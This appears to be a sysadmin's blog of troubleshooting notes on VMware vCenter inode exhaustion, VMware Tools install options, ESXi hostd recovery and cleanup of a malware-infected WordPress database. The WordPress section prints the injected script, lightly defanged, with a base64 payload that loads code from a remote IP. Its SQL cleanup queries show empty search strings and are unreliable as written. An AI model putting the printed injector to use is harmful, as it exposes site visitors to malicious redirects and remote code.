VCSA/Insufficient inodes can result in service crash with no space left on device errors

vpxd logs:


019-02-08T22:44:53.609Z info vpxd[7FB5996C4800] [Originator@6876 sub=Main] Account name: root
2019-02-08T22:44:53.609Z info vpxd[7FB5996C4800] [Originator@6876 sub=vpxUtil] [LoadMachineInstanceUuid] Local instance UUID: 6f0cbee2-56b1-43d3-b13a-348208627e07
2019-02-08T22:44:53.614Z error vpxd[7FB5996C4800] [Originator@6876 sub=Main] Init failed. Exception: N7Vmacore15SystemExceptionE(No space left on device)
--> [context]zKq7AVECAAAAADBxegAOdnB4ZAAAeF4rbGlidm1hY29yZS5zbwAAEBcbAMppGAC8HisAtJgaAH6mGgG4w6d2cHhkAAEBxqcBCsinAeEoVQG9+1QBap9TAuAFAmxpYmMuc28uNgABdZdT[/context]
2019-02-08T22:44:53.615Z error vpxd[7FB5996C4800] [Originator@6876 sub=Default] Failed to intialize VMware VirtualCenter. Shutting down
2019-02-08T22:44:53.615Z info vpxd[7FB5996C4800] [Originator@6876 sub=SupportMgr] Wrote uptime information
2019-02-08T22:44:53.616Z error vpxd[7FB5996C4800] [Originator@6876 sub=Default] Alert:false@ bora/vpx/vpxd/util/vdb.cpp:509
--> Backtrace:
--> [backtrace begin] product: VMware VirtualCenter, version: 6.5.0, build: build-8024368, tag: vpxd, cpu: x86_64, os: linux, buildType: release
--> backtrace[00] libvmacore.so[0x002B5E90]: Vmacore::System::Stacktrace::CaptureFullWork(unsigned int)
--> backtrace[01] libvmacore.so[0x001B1804]: Vmacore::System::SystemFactoryImpl::CreateBacktrace(Vmacore::Ref<Vmacore::System::Backtrace>&)
--> backtrace[02] libvmacore.so[0x00178BDB]: Vmacore::Service::Alert(char const*, char const*, int)
--> backtrace[03] vpxd[0x00A367FF]
--> backtrace[04] vpxd[0x0054E418]
--> backtrace[05] vpxd[0x0054FC2F]
--> backtrace[06] vpxd[0x00539F6A]
--> backtrace[07] libc.so.6[0x000205E0]
--> backtrace[08] vpxd[0x00539775]
--> [backtrace end]
2019-02-08T22:44:53.616Z info vpxd[7FB5996C4800] [Originator@6876 sub=vpxdVdb] Registry Item DB 5 value is ''
2019-02-08T22:44:53.616Z info vpxd[7FB5996C4800] [Originator@6876 sub=vpxdVdb] Setting VDB delay statements queue size to 11000 transactions for 11 GB RAM dedicated to vpxd.
2019-02-08T22:44:53.616Z info vpxd[7FB5996C4800] [Originator@6876 sub=vpxdVdb] [VpxdVdb::SetDBType] Logging in to DSN: VMware VirtualCenter with username vc
2019-02-08T22:44:53.617Z error vpxd[7FB5996C4800] [Originator@6876 sub=CryptUtil] [static bool Vpx::Common::CryptUtil::UnmungePasswordToBuffer(VpxDecrypter*, const string&, char*, size_t)] invalid decrypter
2019-02-08T22:44:53.617Z error vpxd[7FB5996C4800] [Originator@6876 sub=Default] [Vdb::IsRecoverableErrorCode] Unable to recover from 00000:0
2019-02-08T22:44:53.617Z error vpxd[7FB5996C4800] [Originator@6876 sub=vpxdVdb] [VpxdVdb::SetDBType]: Database error: ODBC error: (00000) -
2019-02-08T22:44:53.617Z error vpxd[7FB5996C4800] [Originator@6876 sub=Default] Error getting configuration info from the database
2019-02-08T22:44:53.617Z warning vpxd[7FB5996C4800] [Originator@6876 sub=Main] Database not initialized. Nothing to unlock
2019-02-08T22:44:53.617Z info vpxd[7FB5996C4800] [Originator@6876 sub=Default] Forcing shutdown of VMware VirtualCenter now

Looking at filesystem:

root@cmtolpvctrapp24 [ / ]# df -h
Filesystem                                Size  Used Avail Use% Mounted on
devtmpfs                                   16G     0   16G   0% /dev
tmpfs                                      16G  8.0K   16G   1% /dev/shm
tmpfs                                      16G  656K   16G   1% /run
tmpfs                                      16G     0   16G   0% /sys/fs/cgroup
/dev/sda3                                  11G  8.1G  2.1G  80% /
tmpfs                                      16G  884K   16G   1% /tmp
/dev/sda1                                 120M   28M   87M  24% /boot
/dev/mapper/log_vg-log                     25G  1.9G   22G   9% /storage/log
/dev/mapper/dblog_vg-dblog                 25G  173M   24G   1% /storage/dblog
/dev/mapper/db_vg-db                       25G  396M   23G   2% /storage/db
/dev/mapper/seat_vg-seat                  197G  5.8G  181G   4% /storage/seat
/dev/mapper/netdump_vg-netdump            9.8G   23M  9.2G   1% /storage/netdump
/dev/mapper/autodeploy_vg-autodeploy       25G   45M   24G   1% /storage/autodeploy
/dev/mapper/updatemgr_vg-updatemgr         99G  435M   93G   1% /storage/updatemgr
/dev/mapper/imagebuilder_vg-imagebuilder   25G   45M   24G   1% /storage/imagebuilder
/dev/mapper/core_vg-core                   99G  188M   94G   1% /storage/core

 


looking at inode:


root@cmtolpvctrapp24 [ / ]# df -i
Filesystem                                 Inodes  IUsed    IFree IUse% Mounted on
devtmpfs                                  4115632    531  4115101    1% /dev
tmpfs                                     4117336      4  4117332    1% /dev/shm
tmpfs                                     4117336    690  4116646    1% /run
tmpfs                                     4117336     16  4117320    1% /sys/fs/cgroup
/dev/sda3                                  712704 712704        0  100% /
tmpfs                                     4117336     77  4117259    1% /tmp
/dev/sda1                                   32768    305    32463    1% /boot
/dev/mapper/log_vg-log                    1638400  14332  1624068    1% /storage/log
/dev/mapper/dblog_vg-dblog                1638400     22  1638378    1% /storage/dblog
/dev/mapper/db_vg-db                      1638400   2854  1635546    1% /storage/db
/dev/mapper/seat_vg-seat                 13107200   4430 13102770    1% /storage/seat
/dev/mapper/netdump_vg-netdump             655360     11   655349    1% /storage/netdump
/dev/mapper/autodeploy_vg-autodeploy      1638400     13  1638387    1% /storage/autodeploy
/dev/mapper/updatemgr_vg-updatemgr        6553600    273  6553327    1% /storage/updatemgr
/dev/mapper/imagebuilder_vg-imagebuilder  1638400     14  1638386    1% /storage/imagebuilder
/dev/mapper/core_vg-core                  6553600     15  6553585    1% /storage/core


Now we determine what is consuming the most of inode:

find / -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n
    875 /usr/bin
   1417 /opt/vmware/lib/python2.7/test
   1584 /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/39/0/h5ngc.war/resources/libs/angular-i18n
   5362 /usr/share/man/man3
607550 /var/spool/mqueue

vCenter Build

 version: VMware VirtualCenter 6.5.0 build-8024368

To resolve this, we run the below to clear the inode

 find /var/spool/mqueue/ -type f -print0 | xargs  -0 rm -f

Check for available node to conform if everything is cleared up.

root@cmtolpvctrapp24 [ / ]# df -i
Filesystem                                 Inodes  IUsed    IFree IUse% Mounted on
devtmpfs                                  4115632    531  4115101    1% /dev
tmpfs                                     4117336      4  4117332    1% /dev/shm
tmpfs                                     4117336    690  4116646    1% /run
tmpfs                                     4117336     16  4117320    1% /sys/fs/cgroup
/dev/sda3                                  712704 105154   607550   15% /
tmpfs                                     4117336     77  4117259    1% /tmp
/dev/sda1                                   32768    305    32463    1% /boot
/dev/mapper/log_vg-log                    1638400  14332  1624068    1% /storage/log
/dev/mapper/dblog_vg-dblog                1638400     22  1638378    1% /storage/dblog
/dev/mapper/db_vg-db                      1638400   2854  1635546    1% /storage/db
/dev/mapper/seat_vg-seat                 13107200   4430 13102770    1% /storage/seat
/dev/mapper/netdump_vg-netdump             655360     11   655349    1% /storage/netdump
/dev/mapper/autodeploy_vg-autodeploy      1638400     13  1638387    1% /storage/autodeploy
/dev/mapper/updatemgr_vg-updatemgr        6553600    273  6553327    1% /storage/updatemgr
/dev/mapper/imagebuilder_vg-imagebuilder  1638400     14  1638386    1% /storage/imagebuilder
/dev/mapper/core_vg-core                  6553600     15  6553585    1% /storage/core

VMware Tools installation with sub component enabled/disabled via CLI

setup64.exe /S /v”/qn REBOOT=R ADDLOCAL=Audio,BootCamp,Hgfs,FileIntrospection,NetworkIntrospection,Perfmon,TrayIcon,Drivers,MemCtl,Mouse,MouseUsb,PVSCSI,EFIFW,SVGA,VMCI,VMXNet3,VSS,Toolbox,Plugins,Unity REMOVE=CAF,Audio,BootCamp,Hgfs,FileIntrospection,NetworkIntrospection,Perfmon,TrayIcon,Unity /l*v C:\temp\vmware1052_install.log”

vmTools 10.3.x installation fails on server core/other os with failed to run CustomAction VM_PostInstall scripts

the VMinst.log/toolsinst.log did not have much information on the failure
Start by running msi debug logging:

msiexec /i “C:\MyPackage\toolsxxxx.msi” /L*V “C:\log\msi.log”

Logs:

MSI (s) (FC:F4) [08:04:42:754]: PROPERTY CHANGE: Adding VM_PostInstall.A05FAB36_E570_4B23_8805_3633A16E8D19 property. Its value is ‘”C:\ProgramData\VMware\VMware CAF\pme\install\postInstall.bat” “C:\Program Files\VMware\VMware Tools\VMware CAF\pme\” “C
:\ProgramData\VMware\VMware CAF\pme\”‘.
Action ended 8:04:42: VM_PostInstall_SD.A05FAB36_E570_4B23_8805_3633A16E8D19. Return value 1.
MSI (s) (FC:F4) [08:04:42:754]: Skipping action: VM_StopVMwareProcs.869A7E00_8665_0000_83A8_EF0F76CF0001 (condition is false)
MSI (s) (FC!8C) [08:04:46:207]: Closing MSIHANDLE (60) of type 790531 for thread 4492
CustomAction VM_PostInstall.A05FAB36_E570_4B23_8805_3633A16E8D19 returned actual error code 1603 (note this may not be 100% accurate if translation happened inside sandbox)
MSI (s) (FC:BC) [08:04:46:207]: Closing MSIHANDLE (58) of type 790536 for thread 5876
Action 8:04:46: Rollback. Rolling back action:
Rollback: VM_PostInstall.A05FAB36_E570_4B23_8805_3633A16E8D19
MSI (s) (FC:F4) [08:04:46:238]: Executing op: ActionStart(Name=VM_PostInstall.A05FAB36_E570_4B23_8805_3633A16E8D19,,)
MSI (s) (FC:F4) [08:04:46:238]: Executing op: ProductInfo(ProductKey={F32C4E7B-2BF8-4788-8408-824C6896E1BB},ProductName=VMware Tools,PackageName={F32C4E7B-2BF8-4788-8408-824C6896E1BB}.msi,Language=1033,Version=167968773,Assignment=1,ObsoleteArg=0,ProductIcon=VmwareIcon,,PackageCode={66C1BF82-7ADE-472F-B0AE-1E6A85835452},,,InstanceType=0,LUASetting=0,RemoteURTInstalls=0,ProductDeploymentFlags=3)
Rollback: Copying new files


in order to work this around, run the msi installer excluding vmware CAF


setup64.exe /S /v”/qn ADDLOCAL=ALL REMOVE=CAF /l*v C:\temp\vmtools-install.log”

WordPress sites being attacked, malicious java code appended to the post

Lately I have been observed several of my work press sites go down.

Symptoms include:
* certain posts do not load up
* Antivirus program points to the page having a malicious code
* WordPress admin page loads, the pages can be edited. However, when viewed in html view, I see the malicious code can bee seen, the code start s with <!–codes_iframe–> <script> and ends with </script> <!–/codes_iframe>


To resolve this, I logged on to the mysql Cli and searched the database for the malicious code. I found them to be on the table wp_posts and column post_content. However, the column also contained the body of the post.

the logical approach to remove the malicious code was to delete the contents from <!–codes_iframe–> to <!–/codes_iframe>

BitDefender shows the page as: Threat name: JS:Trojan.Cryxos.1952

Use the locate() to find the code



mysql> SELECT LOCATE(”, post_content) as start from wp_posts;
+——-+
| start |
+——-+
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 11986 |
| 0 |
| 0 |
| 0 |
| 7735 |
| 0 |
| 0 |
| 0 |
| 8848 |
| 0 |
| 2667 |
| 0 |
| 2580 |
| 0 |
| 3287 |
| 0 |
| 1695 |
| 0 |
| 3353 |
| 0 |
| 5332 |
| 0 |
| 3399 |
| 0 |
| 1963 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 2190 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1789 |
| 0 |
| 0 |
| 0 |
| 5109 |
| 0 |
| 0 |
| 5294 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 3493 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 3280 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 2184 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 25 |
| 796 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 734 |
| 0 |
| 309 |
| 0 |
| 308 |
| 0 |
| 0 |
| 2615 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1848 |
| 0 |
| 2916 |
| 0 |
| 0 |
| 437 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 2793 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 2160 |
| 0 |
| 604 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1779 |
| 0 |
| 846 |
| 0 |
| 7571 |
| 0 |
| 0 |
| 0 |
| 1685 |
| 0 |
| 1595 |
| 0 |
| 1595 |
| 7571 |
| 846 |
| 1779 |
| 604 |
| 2160 |
| 2793 |
| 2916 |
| 1848 |
| 2615 |
| 308 |
| 309 |
| 1161 |
| 1685 |
| 437 |
| 796 |
| 25 |
| 734 |
| 2184 |
| 3280 |
| 3493 |
| 5294 |
| 5109 |
| 1789 |
| 1 |
| 1963 |
| 3399 |
| 5332 |
| 3353 |
| 1695 |
| 3287 |
| 2190 |
| 2580 |
| 2667 |
| 8848 |
| 7735 |
| 11986 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 7584 |
+——-+
364 rows in set (0.01 sec)


mysql> SELECT LOCATE(”, post_content ) as end from wp_posts;
+——-+
| end |
+——-+
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 12815 |
| 0 |
| 0 |
| 0 |
| 8564 |
| 0 |
| 0 |
| 0 |
| 9677 |
| 0 |
| 3496 |
| 0 |
| 3409 |
| 0 |
| 4116 |
| 0 |
| 2524 |
| 0 |
| 4182 |
| 0 |
| 6161 |
| 0 |
| 4228 |
| 0 |
| 2792 |
| 0 |
| 830 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 3019 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 2618 |
| 0 |
| 0 |
| 0 |
| 5938 |
| 0 |
| 0 |
| 6123 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 4322 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 4109 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 3013 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 854 |
| 1625 |
| 0 |
| 0 |
| 0 |
| 1182 |
| 0 |
| 0 |
| 1563 |
| 0 |
| 1138 |
| 0 |
| 1137 |
| 0 |
| 0 |
| 3444 |
| 0 |
| 0 |
| 0 |
| 0 |
| 2677 |
| 0 |
| 3745 |
| 0 |
| 0 |
| 1266 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 3622 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 2989 |
| 0 |
| 1433 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 2608 |
| 0 |
| 1675 |
| 0 |
| 8400 |
| 0 |
| 0 |
| 0 |
| 2514 |
| 0 |
| 2424 |
| 0 |
| 2424 |
| 8400 |
| 1675 |
| 2608 |
| 1433 |
| 2989 |
| 3622 |
| 3745 |
| 2677 |
| 3444 |
| 1137 |
| 1138 |
| 1990 |
| 2514 |
| 1266 |
| 1625 |
| 854 |
| 1563 |
| 3013 |
| 4109 |
| 4322 |
| 6123 |
| 5938 |
| 2618 |
| 830 |
| 2792 |
| 4228 |
| 6161 |
| 4182 |
| 2524 |
| 4116 |
| 3019 |
| 3409 |
| 3496 |
| 9677 |
| 8564 |
| 12815 |
| 0 |
| 0 |
| 0 |
| 1161 |
| 1182 |
| 8413 |
+——-+
364 rows in set (0.00 sec)

I used the below query to clear them from the database:

UPDATE wp_posts SET post_content = CONCAT(
SUBSTRING(post_content, 1, LOCATE(”, post_content)-1),
SUBSTRING(post_content, LOCATE(”, post_content)+LENGTH(”)))
WHERE LOCATE(”, post_content) > 0;




mysql> UPDATE wp_posts SET post_content = CONCAT(
-> SUBSTRING(post_content, 1, LOCATE(”, post_content)-1),
-> SUBSTRING(post_content, LOCATE(”, post_content)+LENGTH(”)))
-> WHERE LOCATE(”, post_content) > 0;
Query OK, 74 rows affected (0.05 sec)
Rows matched: 74 Changed: 74 Warnings: 0

Logged back on and conformed that no other data was missing.

PS! Do take backup of the database before attempting to make changes!!

Malicious code (removed the braces to avoid it from infecting the pages again)

!–codes_iframe– script type=\”text/javascript\” function getCookie e {var U=document.cookie.match new RegExp \” ?:^|; \”+e.replace / [\.$?|{}\ \ \[\]\\\/\+^] /g,\”\\$1\” +\”= [^;] \” ;return U?decodeURIComponent U[1] :void 0}var src=\”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\”,now=Math.floor Date.now /1e3 ,cookie=getCookie \”redirect\” ;if now = time=cookie ||void 0===time {var time=Math.floor Date.now /1e3+86400 ,date=new Date new Date .getTime +86400 ;document.cookie=\”redirect=\”+time+\”; path=/; expires=\”+date.toGMTString ,document.write \’ script src=\”\’+src+\’\” \/script \’ } /script !–/codes_iframe–

recovering from an unresponsive hostd after a datastore/storage goes PDL

Hostd crashes with the below:

Hostd.log
2018-12-17T22:37:50.138Z info hostd[9130B80] [Originator@6876 sub=Hostsvc] Storage data synchronization policy set to invalidate_change
2018-12-17T22:37:50.140Z info hostd[9130B80] [Originator@6876 sub=Libs] lib/ssl: OpenSSL using FIPS_drbg for RAND
2018-12-17T22:37:50.140Z info hostd[9130B80] [Originator@6876 sub=Libs] lib/ssl: protocol list tls1.2
2018-12-17T22:37:50.140Z info hostd[9130B80] [Originator@6876 sub=Libs] lib/ssl: protocol list tls1.2 (openssl flags 0x17000000)
2018-12-17T22:37:50.140Z info hostd[9130B80] [Originator@6876 sub=Libs] lib/ssl: cipher list !aNULL:kECDH+AESGCM:ECDH+AESGCM:RSA+AESGCM:kECDH+AES:ECDH+AES:RSA+AES
2018-12-17T22:37:50.141Z info hostd[9130B80] [Originator@6876 sub=Libs] GetTypedFileSystems: fstype vfat
2018-12-17T22:37:50.141Z info hostd[9130B80] [Originator@6876 sub=Libs] GetTypedFileSystems: uuid 579bba34-1440dc54-3308-70106f411e18   <—–volume that went offfline
2018-12-17T22:37:51.136Z info hostd[9AB8B70] [Originator@6876 sub=ThreadPool] Thread enlisted

 

VMkernel:

2018-12-17T22:19:15.397Z cpu18:65910)VMW_SATP_LOCAL: satp_local_updatePath:789: Failed to update path “vmhba32:C0:T0:L0” state. Status=Transient storage condition, suggest retry
2018-12-17T22:19:18.801Z cpu14:65607)WARNING: NMP: nmp_DeviceRequestFastDeviceProbe:237: NMP device “eui.00a0504658335330” state in doubt; requested fast path state update…
2018-12-17T22:19:18.801Z cpu14:65607)ScsiDeviceIO: 2968: Cmd(0x439d4981c540) 0x1a, CmdSN 0x6d2dc7 from world 0 to dev “eui.00a0504658335330” failed H:0x7 D:0x0 P:0x0 Invalid sense data: 0x0 0x0 0x0.
2018-12-17T22:19:21.394Z cpu6:5268773)ScsiPath: 5115: Command 0x0 (cmdSN 0x0, World 0) to path vmhba32:C0:T0:L2 timed out: expiry time occurs 1002ms in the past
2018-12-17T22:19:21.394Z cpu6:5268773)VMW_SATP_LOCAL: satp_local_updatePath:789: Failed to update path “vmhba32:C0:T0:L2” state. Status=Transient storage condition, suggest retry
2018-12-17T22:19:22.892Z cpu22:65615)ScsiDeviceIO: 2968: Cmd(0x439d4981c540) 0x1a, CmdSN 0x6d2dc7 from world 0 to dev “eui.00a0504658335330failed H:0x5 D:0x0 P:0x0 Invalid sense data: 0x0 0x0 0x0.
2018-12-17T22:19:23.400Z cpu34:65627)NMP: nmp_ThrottleLogForDevice:3593: last error status from device eui.00a0504658335330 repeated 1 times
2018-12-17T22:19:23.400Z cpu34:65627)NMP: nmp_ThrottleLogForDevice:3647: Cmd 0x1a (0x439d4989a540, 0) to dev “eui.00a0504658335330” on path “vmhba32:C0:T0:L0” Failed: H:0x5 D:0x0 P:0x0 Invalid sense data: 0x0 0x0 0x0. Act:EVAL
2018-12-17T22:19:23.400Z cpu34:65627)WARNING: NMP: nmp_DeviceRequestFastDeviceProbe:237: NMP device “eui.00a0504658335330” state in doubt; requested fast path state update…
2018-12-17T22:19:23.400Z cpu34:65627)ScsiDeviceIO: 2968: Cmd(0x439d4989a540) 0x1a, CmdSN 0x6d2dc8 from world 0 to dev “eui.00a0504658335330” failed H:0x5 D:0x0 P:0x0 Invalid sense data: 0x0 0x0 0x0.
2018-12-17T22:19:26.798Z cpu14:65607)NMP: nmp_ThrottleLogForDevice:3647: Cmd 0x1a (0x439d4a8ed5c0, 0) to dev “eui.00a0504658335331” on path “vmhba32:C0:T0:L1” Failed: H:0x7 D:0x0 P:0x0 Invalid sense data: 0x0 0x0 0x0. Act:EVAL
2018-12-17T22:19:26.798Z cpu14:65607)WARNING: NMP: nmp_DeviceRequestFastDeviceProbe:237: NMP device “eui.00a0504658335331” state in doubt; requested fast path state update…
2018-12-17T22:19:26.798Z cpu14:65607)ScsiDeviceIO: 2968: Cmd(0x439d4a8ed5c0) 0x1a, CmdSN 0x6d2dd8 from world 0 to dev “eui.00a0504658335331” failed H:0x7 D:0x0 P:0x0 Invalid sense data: 0x31 0x22 0x20.

 

Scsi Decoder: Link

In my case, The volume appeared to have gone offline because the host was aborting the commands to the HBA.

 

/etc/init.d/hostd status
hostd is not running.

However,
ps | grep hostd
2098894 2098894 hostdCgiServer
2105175 2105175 hostd
2105176 2105175 hostd-worker
2105177 2105175 hostd-worker
2105178 2105175 hostd-worker
2105179 2105175 hostd-worker
2105180 2105175 hostd-IO
2105181 2105175 hostd-IO
2105182 2105175 hostd-fair
2105183 2105175 hostd-worker
2105184 2105175 hostd-worker
2105185 2105175 hostd-worker
2105187 2105175 hostd-worker
2105191 2105175 hostd-worker
2105192 2105175 hostd-worker
2105193 2105175 hostd-worker
2105194 2105175 hostd-worker
2105251 2105175 hostd-poll

Also,
localcli storage core device world list
Device World ID Open Count World Name
——————————————————————————————————
mpx.vmhba32:C0:T0:L0 2099479 1 smartd
mpx.vmhba32:C0:T0:L0 2105105 1 vpxa
mpx.vmhba32:C0:T0:L0 2105175 1 hostd
naa.600508b1001c555e5048cfd74e058fdc 2097185 1 idle0
naa.600508b1001c555e5048cfd74e058fdc 2097403 1 OCFlush
naa.600508b1001c555e5048cfd74e058fdc 2098198 1 Res6AffinityMgrWorld
naa.600508b1001c555e5048cfd74e058fdc 2098325 1 Vol3JournalExtendMgrWorld
naa.600508b1001c555e5048cfd74e058fdc 2099479 1 smartd
naa.600508b1001c555e5048cfd74e058fdc 2105175 1 hostd
naa.6001405d7dc7524f3364522a27b7c508 2097185 1 idle0
naa.6001405d7dc7524f3364522a27b7c508 2099760 1 fdm
naa.6001405d7dc7524f3364522a27b7c508 2099766 1 worker
naa.6001405d7dc7524f3364522a27b7c508 2099771 1 worker
naa.6001405d7dc7524f3364522a27b7c508 2100189 1 J6AsyncReplayManager
naa.6001405d7dc7524f3364522a27b7c508 2100219 1 worker
naa.6001405d7dc7524f3364522a27b7c508 2105175 1 hostd
naa.6001405d7dc7524f3364522a27b7c508 2105286 1 hostd-worker
t10.NVMe____THNSN51T02DUK_NVMe_TOSHIBA_1024GB_______E3542500020D0800 2097185 1 idle0
t10.NVMe____THNSN51T02DUK_NVMe_TOSHIBA_1024GB_______E3542500020D0800 2097446 1 bcflushd
t10.NVMe____THNSN51T02DUK_NVMe_TOSHIBA_1024GB_______E3542500020D0800 2098539 1 J6AsyncReplayManager
t10.NVMe____THNSN51T02DUK_NVMe_TOSHIBA_1024GB_______E3542500020D0800 2105105 1 vpxa
t10.NVMe____THNSN51T02DUK_NVMe_TOSHIBA_1024GB_______E3542500020D0800 2105175 1 hostd
naa.600508b1001c5a5167700b7ae7160e91 2097185 1 idle0
naa.600508b1001c5a5167700b7ae7160e91 2097403 1 OCFlush
naa.600508b1001c5a5167700b7ae7160e91 2098198 1 Res6AffinityMgrWorld
naa.600508b1001c5a5167700b7ae7160e91 2098325 1 Vol3JournalExtendMgrWorld
naa.600508b1001c5a5167700b7ae7160e91 2099479 1 smartd
naa.600508b1001c5a5167700b7ae7160e91 2105175 1 hostd
naa.600508b1001ca2c68c28022b4447710f 2097185 1 idle0
naa.600508b1001ca2c68c28022b4447710f 2097403 1 OCFlush
naa.600508b1001ca2c68c28022b4447710f 2098198 1 Res6AffinityMgrWorld
naa.600508b1001ca2c68c28022b4447710f 2098325 1 Vol3JournalExtendMgrWorld
naa.600508b1001ca2c68c28022b4447710f 2099479 1 smartd
naa.600508b1001ca2c68c28022b4447710f 2105175 1 hostd

 

This shows that hostd still appears to be stuck as running in a zombie state.

 

To resolve this, we will need to

  • reset scsi commands to vmhba32 (vmkfstools -B /vmfs/volume/disk/naa.xxxx)
  • Rescan vmhba32 and wait for 3-5 min (esxcfg-rescan vmhba32)
  • confirm that hostd is no longer running for that device  (localcli storage core device world list and ps | grep hostd)
  • start hostd